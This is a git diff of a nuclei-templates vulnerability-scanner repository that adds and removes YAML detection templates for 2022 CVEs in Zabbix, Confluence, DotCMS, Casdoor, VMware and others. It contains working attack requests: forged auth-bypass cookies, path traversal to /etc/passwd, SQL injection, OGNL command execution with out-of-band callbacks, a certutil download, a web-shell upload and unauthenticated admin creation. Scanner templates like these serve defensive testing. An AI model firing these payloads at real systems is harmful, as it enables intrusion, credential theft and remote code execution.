+ tags: cve2022,cve,vmware,auth-bypass,oast
+
+http:
+ - raw:
+ - |
+ GET /vcac/ HTTP/1.1
+ Host: {{Hostname}}
+ - |
+ GET /vcac/?original_uri={{RootURL}}%2Fvcac HTTP/1.1
+ Host: {{Hostname}}
+ - |
+ POST /SAAS/auth/login/embeddedauthbroker/callback HTTP/1.1
+ Host: {{interactsh-url}}
+ Content-type: application/x-www-form-urlencoded
+
+ protected_state={{protected_state}}&userstore={{userstore}}&username=administrator&password=horizon&userstoreDisplay={{userstoreDisplay}}&horizonRelayState={{horizonRelayState}}&stickyConnectorId={{stickyConnectorId}}&action=Sign+in
+
+ host-redirects: true
+ max-redirects: 3
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: header
+ words:
+ - "HZN="
+
+ - type: word
+ part: interactsh_protocol
+ words:
+ - "http"
+
+ - type: status
+ status:
+ - 302
+
+ extractors:
+ - type: regex
+ name: protected_state
+ group: 1
+ regex:
+ - 'id="protected_state" value="([a-zA-Z0-9]+)"\/>'
+ internal: true
+ part: body
+
+ - type: regex
+ name: horizonRelayState
+ group: 1
+ regex:
+ - 'name="horizonRelayState" value="([a-z0-9-]+)"\/>'
+ internal: true
+ part: body
+
+ - type: regex
+ name: userstore
+ group: 1
+ regex:
+ - 'id="userstore" value="([a-z.]+)" \/>'
+ internal: true
+ part: body
+
+ - type: regex
+ name: userstoreDisplay
+ group: 1
+ regex:
+ - 'id="userstoreDisplay" readonly class="login-input transparent_class" value="(.*)"/>'
+ internal: true
+ part: body
+
+ - type: regex
+ name: stickyConnectorId
+ group: 1
+ regex:
+ - 'name="stickyConnectorId" value="(.*)"/>'
+ internal: true
+ part: body
+
+ - type: kval
+ name: HZN-Cookie
+ kval:
+ - 'HZN'
+ part: header
+# digest: 4a0a0047304502206403cd0d279ad3059877b01e431f357ec5373c9854c2ff5cbe853a8ac65ef39c022100d9069fe039d74cbcad2eb0f8ef4724af0436462068f8baecdb321328ac7a89af:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2022/cve-2022-23131.yaml b/nuclei-templates/CVE-2022/cve-2022-23131.yaml
deleted file mode 100644
index 53811d3852..0000000000
--- a/nuclei-templates/CVE-2022/cve-2022-23131.yaml
+++ /dev/null
@@ -1,43 +0,0 @@
-id: CVE-2022-23131
-
-info:
- name: Zabbix - SAML SSO Authentication Bypass
- author: For3stCo1d
- severity: critical
- description: When SAML SSO authentication is enabled (non-default), session data can be modified by a malicious actor because a user login stored in the session was not verified.
- remediation: Upgrade to 5.4.9rc2, 6.0.0beta1, 6.0 (plan) or higher.
- reference:
- - https://support.zabbix.com/browse/ZBX-20350
- - https://blog.sonarsource.com/zabbix-case-study-of-unsafe-session-storage
- - https://nvd.nist.gov/vuln/detail/CVE-2022-23131
- - https://github.com/1mxml/CVE-2022-23131
- metadata:
- shodan-query: http.favicon.hash:892542951
- fofa-query: app="ZABBIX-监控系统" && body="saml"
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
- cvss-score: 9.8
- cve-id: CVE-2022-23131
- tags: cve,cve2022,zabbix,auth-bypass,saml,sso
-
-requests:
- - method: GET
- path:
- - "{{BaseURL}}/zabbix/index_sso.php"
- - "{{BaseURL}}/index_sso.php"
-
- headers:
- Cookie: "zbx_session=eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiIiwic2lnbiI6IiJ9"
-
- stop-at-first-match: true
- matchers-condition: and
- matchers:
- - type: status
- status:
- - 302
-
- - type: dsl
- dsl:
- - "contains(tolower(all_headers), 'location: zabbix.php?action=dashboard.view')"
-
-# Enhanced by mp on 2022/03/08
diff --git a/nuclei-templates/CVE-2022/cve-2022-23134.yaml b/nuclei-templates/CVE-2022/cve-2022-23134.yaml
new file mode 100644
index 0000000000..53aca6a04f
--- /dev/null
+++ b/nuclei-templates/CVE-2022/cve-2022-23134.yaml
@@ -0,0 +1,41 @@
+id: CVE-2022-23134
+
+info:
+ name: Zabbix Setup Configuration Authentication Bypass
+ author: bananabr
+ severity: medium
+ description: After the initial setup process, some steps of setup.php file are reachable not only by super-administrators but also by unauthenticated users. A malicious actor can pass step checks and potentially change the configuration of Zabbix Frontend.
+ reference:
+ - https://blog.sonarsource.com/zabbix-case-study-of-unsafe-session-storage
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-23134
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
+ cvss-score: 5.3
+ cve-id: CVE-2022-23134
+ tags: cve,cve2022,zabbix,auth-bypass
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/zabbix/setup.php"
+ - "{{BaseURL}}/setup.php"
+
+ headers:
+ Cookie: "zbx_session=eyJzZXNzaW9uaWQiOiJJTlZBTElEIiwiY2hlY2tfZmllbGRzX3Jlc3VsdCI6dHJ1ZSwic3RlcCI6Niwic2VydmVyQ2hlY2tSZXN1bHQiOnRydWUsInNlcnZlckNoZWNrVGltZSI6MTY0NTEyMzcwNCwic2lnbiI6IklOVkFMSUQifQ%3D%3D"
+
+ stop-at-first-match: true
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "Database"
+ - "host"
+ - "port"
+ - "Zabbix"
+ condition: and
+
+ - type: status
+ status:
+ - 200
+
+# Enhanced by mp on 2022/03/08
diff --git a/nuclei-templates/CVE-2022/cve-2022-23347.yaml b/nuclei-templates/CVE-2022/cve-2022-23347.yaml
deleted file mode 100644
index 7059ae4b38..0000000000
--- a/nuclei-templates/CVE-2022/cve-2022-23347.yaml
+++ /dev/null
@@ -1,37 +0,0 @@
-id: CVE-2022-23347
-
-info:
- name: BigAnt Software BigAnt Server v5.6.06 - Directory Traversal
- author: 0x_Akoko
- severity: high
- description: BigAnt Software BigAnt Server v5.6.06 was discovered to be vulnerable to directory traversal attacks.
- reference:
- - https://github.com/bzyo/cve-pocs/tree/master/CVE-2022-23347
- - https://www.cvedetails.com/cve/CVE-2022-23347
- classification:
- cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- cvss-score: 7.5
- cve-id: CVE-2022-23347
- cwe-id: CWE-22
- metadata:
- shodan-query: http.html:"BigAnt"
- tags: cve,cve2022,bigant,lfi
-
-requests:
- - method: GET
- path:
- - "{{BaseURL}}/index.php/Pan/ShareUrl/downloadSharedFile?true_path=../../../../../../windows/win.ini&file_name=win.ini"
-
- matchers-condition: and
- matchers:
- - type: word
- part: body
- words:
- - "bit app support"
- - "fonts"
- - "extensions"
- condition: and
-
- - type: status
- status:
- - 200
diff --git a/nuclei-templates/CVE-2022/cve-2022-23881.yaml b/nuclei-templates/CVE-2022/cve-2022-23881.yaml
new file mode 100644
index 0000000000..84b802eba2
--- /dev/null
+++ b/nuclei-templates/CVE-2022/cve-2022-23881.yaml
@@ -0,0 +1,35 @@
+id: CVE-2022-23881
+
+info:
+ name: zzzphp v2.1.0 RCE
+ author: pikpikcu
+ severity: critical
+ description: ZZZCMS zzzphp v2.1.0 was discovered to contain a remote command execution (RCE) vulnerability via danger_key() at zzz_template.php.
+ reference:
+ - https://github.com/metaStor/Vuls/blob/main/zzzcms/zzzphp%20V2.1.0%20RCE/zzzphp%20V2.1.0%20RCE.md
+ - http://www.zzzcms.com
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-23881
+ tags: cve,cve2022,rce,zzzphp,zzzcms
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+ cvss-score: 9.80
+ cve-id: CVE-2022-23881
+ cwe-id: CWE-77
+
+requests:
+ - raw:
+ - |
+ GET /?location=search HTTP/1.1
+ Host: {{Hostname}}
+ Cookies: keys={if:=`certutil -urlcache -split -f https://{{interactsh-url}}/poc`}{end if}
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: interactsh_protocol
+ words:
+ - "http"
+
+ - type: status
+ status:
+ - 500
diff --git a/nuclei-templates/CVE-2022/cve-2022-24124.yaml b/nuclei-templates/CVE-2022/cve-2022-24124.yaml
new file mode 100644
index 0000000000..f940ce92b6
--- /dev/null
+++ b/nuclei-templates/CVE-2022/cve-2022-24124.yaml
@@ -0,0 +1,41 @@
+id: CVE-2022-24124
+
+info:
+ name: Casdoor 1.13.0 - Unauthenticated SQL Injection
+ author: cckuailong
+ severity: high
+ description: Casdoor version 1.13.0 suffers from a remote unauthenticated SQL injection vulnerability via the query API in Casdoor before 1.13.1 related to the field and value parameters, as demonstrated by api/get-organizations.
+ reference:
+ - https://packetstormsecurity.com/files/166163/Casdoor-1.13.0-SQL-Injection.html
+ - https://www.exploit-db.com/exploits/50792
+ - https://github.com/cckuailong/reapoc/tree/main/2022/CVE-2022-24124/vultarget
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-24124
+ metadata:
+ product: https://casdoor.org/
+ shodan-query: http.title:"Casdoor"
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+ cvss-score: 7.5
+ cve-id: CVE-2022-24124
+ cwe-id: CWE-89
+ tags: cve,cve2022,casdoor,sqli,unauth
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(1,version(),1)"
+
+ matchers-condition: and
+ matchers:
+ - type: regex
+ part: body
+ regex:
+ - "XPATH syntax error.*'"
+ - "casdoor"
+ condition: and
+
+ - type: status
+ status:
+ - 200
+
+# Enhanced by mp on 2022/03/08
diff --git a/nuclei-templates/CVE-2022/cve-2022-24181.yaml b/nuclei-templates/CVE-2022/cve-2022-24181.yaml
deleted file mode 100644
index b3b7ce9f12..0000000000
--- a/nuclei-templates/CVE-2022/cve-2022-24181.yaml
+++ /dev/null
@@ -1,56 +0,0 @@
-id: CVE-2022-24181
-
-info:
- name: PKP Open Journal Systems 2.4.8-3.3 - Cross-Site Scripting
- author: lucasljm2001,ekrause
- severity: medium
- description: |
- PKP Open Journal Systems 2.4.8 to 3.3 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary code via the X-Forwarded-Host Header.
- impact: |
- Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
- remediation: |
- Upgrade to a patched version of PKP Open Journal Systems (OJS) or apply the necessary security patches provided by the vendor.
- reference:
- - https://www.exploit-db.com/exploits/50881
- - https://github.com/pkp/pkp-lib/issues/7649
- - https://youtu.be/v8-9evO2oVg
- - https://nvd.nist.gov/vuln/detail/cve-2022-24181
- - https://github.com/comrade99/CVE-2022-24181
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- cvss-score: 6.1
- cve-id: CVE-2022-24181
- cwe-id: CWE-79
- epss-score: 0.0017
- epss-percentile: 0.53018
- cpe: cpe:2.3:a:public_knowledge_project:open_journal_systems:*:*:*:*:*:*:*:*
- metadata:
- verified: true
- max-request: 1
- vendor: public_knowledge_project
- product: open_journal_systems
- tags: cve,cve2022,xss,oss,pkp-lib,edb,public_knowledge_project
-
-http:
- - raw:
- - |
- GET /iupjournals/index.php/esj HTTP/2
- Host: {{Hostname}}
- X-Forwarded-Host: foo">alert(document.domain)'
- - '"Not authenticated"'
- condition: and
-
- - type: word
- part: header
- words:
- - text/html
-# digest: 4b0a00483046022100dd79aa0474a89a2ac03e8147296d8958bd8863792570ee2d226ce4ef2bb5fe47022100f21bdc20c0df7169bf401f396d4d70048dddd98be918337c91d990bd543060b1:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2022/cve-2022-24900.yaml b/nuclei-templates/CVE-2022/cve-2022-24900.yaml
new file mode 100644
index 0000000000..5197c4d2ea
--- /dev/null
+++ b/nuclei-templates/CVE-2022/cve-2022-24900.yaml
@@ -0,0 +1,47 @@
+id: CVE-2022-24900
+
+info:
+ name: Piano LED Visualizer 1.3 - Local File Inclusion
+ author: 0x_Akoko
+ severity: high
+ description: |
+ Piano LED Visualizer 1.3 and prior are vulnerable to local file inclusion.
+ impact: |
+ An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.
+ remediation: |
+ Apply the latest patch or update provided by the vendor to fix the local file inclusion vulnerability in the Piano LED Visualizer 1.3 application.
+ reference:
+ - https://github.com/onlaj/Piano-LED-Visualizer/issues/350
+ - https://vuldb.com/?id.198714
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-24900
+ - https://github.com/onlaj/Piano-LED-Visualizer/commit/3f10602323cd8184e1c69a76b815655597bf0ee5
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
+ cvss-score: 8.6
+ cve-id: CVE-2022-24900
+ cwe-id: CWE-668,CWE-22
+ epss-score: 0.00999
+ epss-percentile: 0.81936
+ cpe: cpe:2.3:a:piano_led_visualizer_project:piano_led_visualizer:*:*:*:*:*:*:*:*
+ metadata:
+ max-request: 1
+ vendor: piano_led_visualizer_project
+ product: piano_led_visualizer
+ tags: cve2022,cve,lfi,piano,iot,oss,piano_led_visualizer_project
+
+http:
+ - method: GET
+ path:
+ - "{{BaseURL}}/api/change_setting?second_value=no_reload&disable_sequence=true&value=../../../../../../../etc/passwd"
+
+ matchers-condition: and
+ matchers:
+ - type: regex
+ part: body
+ regex:
+ - "root:.*:0:0:"
+
+ - type: status
+ status:
+ - 200
+# digest: 4a0a004730450220769f0b22c82a753d0e8d77f012b14207ab4c56507605203f5ed415c7de1fcce0022100b0dfc7497219b96863930792f0fc57dd921a58d19ee3eccdbb2cbe6364059fc6:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2022/cve-2022-24990.yaml b/nuclei-templates/CVE-2022/cve-2022-24990.yaml
new file mode 100644
index 0000000000..39916d1f52
--- /dev/null
+++ b/nuclei-templates/CVE-2022/cve-2022-24990.yaml
@@ -0,0 +1,44 @@
+id: CVE-2022-24990
+
+info:
+ name: TerraMaster TOS < 4.2.30 Server Information Disclosure
+ author: dwisiswant0
+ severity: medium
+ description: TerraMaster NAS devices running TOS prior to version 4.2.30 are vulnerable to information disclosure.
+ reference:
+ - https://octagon.net/blog/2022/03/07/cve-2022-24990-terrmaster-tos-unauthenticated-remote-command-execution-via-php-object-instantiation/
+ metadata:
+ shodan-query: TerraMaster
+ tags: cve,cve2022,terramaster,exposure
+ classification:
+ cve-id: CVE-2022-24990
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/module/api.php?mobile/webNasIPS"
+ headers:
+ User-Agent: "TNAS"
+
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ part: header
+ words:
+ - "application/json"
+ - "TerraMaster"
+ condition: and
+
+ - type: regex
+ part: body
+ regex:
+ - "webNasIPS successful"
+ - "(ADDR|(IFC|PWD|[DS]AT)):"
+ - "\"((firmware|(version|ma(sk|c)|port|url|ip))|hostname)\":" # cherry pick
+ condition: or
+
+# Enhanced by mp on 2022/03/23
diff --git a/nuclei-templates/CVE-2022/cve-2022-25323.yaml b/nuclei-templates/CVE-2022/cve-2022-25323.yaml
new file mode 100644
index 0000000000..4500863480
--- /dev/null
+++ b/nuclei-templates/CVE-2022/cve-2022-25323.yaml
@@ -0,0 +1,35 @@
+id: CVE-2022-25323
+
+info:
+ name: ZEROF Web Server 2.0 Cross-Site Scripting
+ author: pikpikcu
+ severity: medium
+ description: ZEROF Web Server 2.0 allows /admin.back cross-site scripting.
+ reference:
+ - https://github.com/awillix/research/blob/main/cve/CVE-2022-25323.md
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-25323
+ tags: xss,cve,cve2022,zerof
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+ cvss-score: 6.10
+ cve-id: CVE-2022-25323
+ cwe-id: CWE-79
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/admin.back"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: body
+ words:
+ - 'back'
+ condition: and
+
+ - type: status
+ status:
+ - 401
+
+# Enhanced by mp on 2022/03/07
diff --git a/nuclei-templates/CVE-2022/cve-2022-25369.yaml b/nuclei-templates/CVE-2022/cve-2022-25369.yaml
deleted file mode 100644
index 27006db770..0000000000
--- a/nuclei-templates/CVE-2022/cve-2022-25369.yaml
+++ /dev/null
@@ -1,47 +0,0 @@
-id: CVE-2022-25369
-
-info:
- name: Dynamicweb 9.5.0 - 9.12.7 Unauthenticated Admin User Creation
- author: pdteam
- severity: critical
- description: Dynamicweb contains a vulnerability which allows an unauthenticated attacker to create a new administrative user.
- remediation: "Upgrade to one of the fixed versions or higher: Dynamicweb 9.5.9, 9.6.16, 9.7.8, 9.8.11, 9.9, 9.10.18, 9.12.8, or 9.13.0."
- reference:
- - https://blog.assetnote.io/2022/02/20/logicflaw-dynamicweb-rce/
- - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25369
- metadata:
- shodan-query: http.component:"Dynamicweb"
- tags: cve,cve2022,dynamicweb,rce,unauth
- classification:
- cve-id: CVE-2022-25369
- cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- cvss-score: 9.8
- cwe-id: CWE-425
-
-requests:
- - method: GET
- path:
- - "{{BaseURL}}/Admin/Access/Setup/Default.aspx?Action=createadministrator&adminusername={{rand_base(6)}}&adminpassword={{rand_base(6)}}&adminemail=test@test.com&adminname=test"
-
- matchers-condition: and
- matchers:
- - type: word
- part: body
- words:
- - '"Success": true'
- - '"Success":true'
- condition: or
-
- - type: word
- part: header
- words:
- - 'application/json'
- - 'ASP.NET_SessionId'
- condition: and
- case-insensitive: true
-
- - type: status
- status:
- - 200
-
-# Enhanced by cs on 2022/02/28
diff --git a/nuclei-templates/CVE-2022/cve-2022-26134.yaml b/nuclei-templates/CVE-2022/cve-2022-26134.yaml
new file mode 100644
index 0000000000..f674d3e63d
--- /dev/null
+++ b/nuclei-templates/CVE-2022/cve-2022-26134.yaml
@@ -0,0 +1,60 @@
+id: CVE-2022-26134
+
+info:
+ name: Confluence - Remote Code Execution
+ author: pdteam,jbertman
+ severity: critical
+ description: |
+ Confluence Server and Data Center is susceptible to an unauthenticated remote code execution vulnerability.
+ impact: |
+ Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
+ remediation: |
+ Apply the latest security patches or updates provided by Atlassian to mitigate this vulnerability.
+ reference:
+ - https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis
+ - https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
+ - https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/
+ - https://jira.atlassian.com/browse/CONFSERVER-79016
+ - http://packetstormsecurity.com/files/167431/Through-The-Wire-CVE-2022-26134-Confluence-Proof-Of-Concept.html
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+ cvss-score: 9.8
+ cve-id: CVE-2022-26134
+ cwe-id: CWE-917
+ epss-score: 0.97528
+ epss-percentile: 0.9999
+ cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*
+ metadata:
+ verified: true
+ max-request: 2
+ vendor: atlassian
+ product: confluence_data_center
+ shodan-query: http.component:"Atlassian Confluence"
+ tags: cve,cve2022,packetstorm,confluence,rce,ognl,oast,kev,atlassian
+
+http:
+ - method: GET
+ path:
+ - "{{BaseURL}}/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"
+ - "{{BaseURL}}/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22nslookup%20{{interactsh-url}}%22%29%7D/"
+
+ stop-at-first-match: true
+
+ matchers-condition: or
+ matchers:
+ - type: dsl
+ dsl:
+ - 'contains(to_lower(header_1), "x-cmd-response:")'
+
+ - type: dsl
+ dsl:
+ - 'contains(interactsh_protocol, "dns")'
+ - 'contains(to_lower(response_2), "confluence")'
+ condition: and
+
+ extractors:
+ - type: kval
+ kval:
+ - "x_cmd_response"
+ part: header
+# digest: 490a00463044022043923188d8f26d3bad64b5b6194f0d26c0205ef1d053c1e84a0b3122538323a802202d862f6fca847a1e99d6ec7e4b694f266cd8b0409ca139653667b057d5873735:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2022/cve-2022-26148.yaml b/nuclei-templates/CVE-2022/cve-2022-26148.yaml
deleted file mode 100644
index edf32a34c5..0000000000
--- a/nuclei-templates/CVE-2022/cve-2022-26148.yaml
+++ /dev/null
@@ -1,52 +0,0 @@
-id: CVE-2022-26148
-
-info:
- name: Grafana Zabbix Integration - Credential Disclosure
- author: Geekby
- severity: critical
- description: An issue was discovered in Grafana through 7.3.4, when integrated with Zabbix. The Zabbix password can be found in the api_jsonrpc.php HTML source code. When the user logs in and allows the user to register, one can right click to view the source code and use Ctrl-F to search for password in api_jsonrpc.php to discover the Zabbix account password and URL address.
- reference:
- - https://nvd.nist.gov/vuln/detail/CVE-2022-26148
- - https://2k8.org/post-319.html
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- cvss-score: 9.8
- cve-id: CVE-2022-26148
- metadata:
- fofa-query: app="Grafana"
- shodan-query: title:"Grafana"
- tags: cve,cve2022,grafana,zabbix
-
-requests:
- - method: GET
- path:
- - "{{BaseURL}}/login?redirect=%2F"
-
- matchers-condition: and
- matchers:
- - type: regex
- part: body
- regex:
- - '"password":"(.*?)"'
- - '"username":"(.*?)"'
- condition: and
-
- - type: word
- part: body
- words:
- - '"zabbix":'
- - '"zbx":'
- - "alexanderzobnin-zabbix-datasource"
- condition: or
-
- - type: status
- status:
- - 200
-
- extractors:
- - type: regex
- group: 1
- regex:
- - '"password":"(.*?)"'
- - '"username":"(.*?)"'
- - '"url":"([a-z:/0-9.]+)\/api_jsonrpc\.php'
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2022/cve-2022-26159.yaml b/nuclei-templates/CVE-2022/cve-2022-26159.yaml
new file mode 100644
index 0000000000..5ad8567611
--- /dev/null
+++ b/nuclei-templates/CVE-2022/cve-2022-26159.yaml
@@ -0,0 +1,39 @@
+id: CVE-2022-26159
+
+info:
+ name: Ametys CMS Information Disclosure
+ author: Remi Gascou (podalirius)
+ severity: medium
+ description: "Ametys CMS before 4.5.0 allows a remote unauthenticated attacker to read documents such as plugins/web/service/search/auto-completion/domain/en.xml (and similar pathnames for other languages) via the auto-completion plugin, which contain all characters typed by all users, including the content of private pages. For example, a private page may contain usernames, e-mail addresses, and possibly passwords."
+ reference:
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-26159
+ - https://podalirius.net/en/cves/2022-26159/
+ tags: cve,cve2022,plugin,ametys,cms
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
+ cvss-score: 5.30
+ cve-id: CVE-2022-26159
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}/plugins/web/service/search/auto-completion/domain/en.xml?q=adm'
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - ''
+ - '- '
+ condition: and
+
+ - type: word
+ part: header
+ words:
+ - 'text/xml'
+
+ - type: status
+ status:
+ - 200
+
+# Enhanced by mp on 2022/03/23
diff --git a/nuclei-templates/CVE-2022/CVE-2022-26233.yaml b/nuclei-templates/CVE-2022/cve-2022-26233.yaml
similarity index 100%
rename from nuclei-templates/CVE-2022/CVE-2022-26233.yaml
rename to nuclei-templates/CVE-2022/cve-2022-26233.yaml
diff --git a/nuclei-templates/CVE-2022/cve-2022-26352.yaml b/nuclei-templates/CVE-2022/cve-2022-26352.yaml
deleted file mode 100644
index 9c61ad1df1..0000000000
--- a/nuclei-templates/CVE-2022/cve-2022-26352.yaml
+++ /dev/null
@@ -1,57 +0,0 @@
-id: CVE-2022-26352
-
-info:
- name: DotCMS - Arbitrary File Upload
- author: h1ei1
- severity: critical
- description: DotCMS management system contains an arbitrary file upload vulnerability via the /api/content/ path which can allow attackers to upload malicious Trojans to obtain server permissions.
- impact: |
- Successful exploitation of this vulnerability can lead to remote code execution, compromising the confidentiality, integrity, and availability of the affected system.
- remediation: |
- Apply the latest security patches or updates provided by the vendor to fix this vulnerability.
- reference:
- - https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/
- - https://github.com/h1ei1/POC/tree/main/CVE-2022-26352
- - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26352
- - http://packetstormsecurity.com/files/167365/dotCMS-Shell-Upload.html
- - https://groups.google.com/g/dotcms
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- cvss-score: 9.8
- cve-id: CVE-2022-26352
- cwe-id: CWE-22
- epss-score: 0.97527
- epss-percentile: 0.99989
- cpe: cpe:2.3:a:dotcms:dotcms:*:*:*:*:*:*:*:*
- metadata:
- max-request: 2
- vendor: dotcms
- product: dotcms
- tags: cve,cve2022,packetstorm,rce,dotcms,kev,fileupload,intrusive
-
-http:
- - raw:
- - |
- POST /api/content/ HTTP/1.1
- Host: {{Hostname}}
- Content-Type: multipart/form-data; boundary=------------------------aadc326f7ae3eac3
-
- --------------------------aadc326f7ae3eac3
- Content-Disposition: form-data; name="name"; filename="../../../../../../../../../srv/dotserver/tomcat-9.0.41/webapps/ROOT/{{randstr}}.jsp"
- Content-Type: text/plain
-
- <%
- out.println("CVE-2022-26352");
- %>
- --------------------------aadc326f7ae3eac3--
- - |
- GET /{{randstr}}.jsp HTTP/1.1
- Host: {{Hostname}}
-
- matchers:
- - type: dsl
- dsl:
- - 'contains(body_2, "CVE-2022-26352")'
- - 'status_code_2 == 200'
- condition: and
-# digest: 4a0a004730450221009c0b8e26c1757e843516d1eb93bbf57c5a4c28cc367a24ab2913efc1c620261f02203b7f5ecae948b47821751b0eb7531ddf83eceedbcf0ad01c51e5710a9da998bb:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2022/cve-2022-26564.yaml b/nuclei-templates/CVE-2022/cve-2022-26564.yaml
deleted file mode 100644
index 0dcca515bd..0000000000
--- a/nuclei-templates/CVE-2022/cve-2022-26564.yaml
+++ /dev/null
@@ -1,60 +0,0 @@
-id: CVE-2022-26564
-
-info:
- name: HotelDruid Hotel Management Software 3.0.3 - Cross-Site Scripting
- author: alexrydzak
- severity: medium
- description: |
- HotelDruid Hotel Management Software 3.0.3 contains a cross-site scripting vulnerability via the prezzoperiodo4 parameter in creaprezzi.php.
- impact: |
- Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
- remediation: |
- Upgrade to the latest version to mitigate this vulnerability.
- reference:
- - https://rydzak.me/2022/04/cve-2022-26564/
- - https://www.hoteldruid.com
- - https://nvd.nist.gov/vuln/detail/CVE-2022-26564
- - https://github.com/ARPSyndicate/cvemon
- - https://github.com/ARPSyndicate/kenzer-templates
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- cvss-score: 6.1
- cve-id: CVE-2022-26564
- cwe-id: CWE-79
- epss-score: 0.00097
- epss-percentile: 0.39401
- cpe: cpe:2.3:a:digitaldruid:hoteldruid:3.0.3:*:*:*:*:*:*:*
- metadata:
- max-request: 3
- vendor: digitaldruid
- product: hoteldruid
- shodan-query: http.favicon.hash:-1521640213
- tags: cve,cve2022,hoteldruid,xss,digitaldruid
-
-http:
- - method: GET
- path:
- - '{{BaseURL}}/creaprezzi.php?prezzoperiodo4=%22>'
- - '{{BaseURL}}/modifica_cliente.php?tipo_tabella=%22>&idclienti=1'
- - '{{BaseURL}}/dati/availability_tpl.php?num_app_tipo_richiesti1=%22>'
-
- stop-at-first-match: true
-
- matchers-condition: and
- matchers:
- - type: word
- part: body
- words:
- - ""
- - "HotelDruid"
- condition: and
-
- - type: word
- part: header
- words:
- - "text/html"
-
- - type: status
- status:
- - 200
-# digest: 4b0a00483046022100cce687826fa0938f4944c77a726102f036638a7225beea50d91d7f4aba881ee4022100d38d31a915a08dd7ac2ccff9c5cdb5683ccf782cc375359389be457f415998d9:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2022/cve-2022-27927.yaml b/nuclei-templates/CVE-2022/cve-2022-27927.yaml
new file mode 100644
index 0000000000..1ff0eadb94
--- /dev/null
+++ b/nuclei-templates/CVE-2022/cve-2022-27927.yaml
@@ -0,0 +1,52 @@
+id: CVE-2022-27927
+
+info:
+ name: Microfinance Management System 1.0 - SQL Injection
+ author: lucasljm2001,ekrause
+ severity: critical
+ description: |
+ Microfinance Management System 1.0 is susceptible to SQL Injection.
+ impact: |
+ Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
+ remediation: |
